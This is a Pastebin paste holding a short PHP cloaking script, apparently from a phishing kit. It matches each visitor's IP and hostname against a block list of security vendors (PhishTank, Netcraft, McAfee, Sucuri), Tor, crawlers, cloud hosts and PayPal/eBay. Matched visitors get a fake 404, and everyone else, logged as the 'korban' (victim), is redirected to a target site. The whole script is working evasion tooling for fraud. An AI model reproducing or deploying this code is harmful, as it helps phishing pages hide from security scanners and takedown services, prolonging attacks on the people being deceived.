Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $blocked_words = array(
- 'amazon',
- 'aruba',
- 'above',
- 'google',
- 'tor',
- 'softlayer',
- 'amazonaws',
- 'cyveillance',
- 'phishtank',
- 'dreamhost',
- 'netpilot',
- 'calyxinstitute',
- 'tor-exit',
- 'msnbot',
- 'p3pwgdsn',
- 'netcraft',
- '194.72.238',
- '69.164.111.198',
- 'banff',
- 'auchroisk',
- 'trendmicro',
- 'ebay',
- 'paypal',
- 'torservers',
- 'comodo',
- 'crawl',
- 'sucuri.net',
- 'crawler',
- 'proxy',
- 'enom',
- 'cloudflare',
- 'yahoo',
- 'trustwave',
- 'rima-tde.net',
- 'tfbnw.net',
- 'pacbell.net',
- 'tpnet.pl',
- 'ovh.net',
- 'centralnic',
- 'badware',
- 'phishing',
- 'antivirus',
- 'SiteAdvisor',
- 'McAfee',
- 'Bitdefender',
- 'barracuda',
- 'anti',
- 'mail',
- 'phis',
- 'tester',
- 'bit',
- 'security',
- 'secure',
- '52.168.72.225',
- 'cloud',
- '162.243.187.126',
- '46.101.94.163',
- '46.101.119.24'
- );
- $today = getdate();
- $date = ''.$today['weekday'].' - '.$today['mday'].' '.$today['month'].' '.$today['year'].' - '.$today['hours'].':'.$today['minutes'].':'.$today['seconds'].'';
- function inStr($s, $as){
- $s = strtoupper($s);
- if(!is_array($as)) $as=array($as);
- for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
- return false;
- }
- $host_korban = ''.$_SERVER['REMOTE_ADDR'].' - '.gethostbyaddr($_SERVER['REMOTE_ADDR']).'';
- if(inStr($host_korban, $blocked_words)){
- $file = fopen("data-.txt","a");
- fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
- fclose($file);
- header("HTTP/1.0 404 Not Found");
- die();
- }else{
- $file = fopen("data.txt","a");
- fwrite($file, $date." : ".$_SERVER['REMOTE_ADDR']." - ".gethostbyaddr($_SERVER['REMOTE_ADDR'])."\n");
- fclose($file);
- header("Location: https://yoursite.com/");
- }
- ?>
Add Comment
Please, Sign In to add comment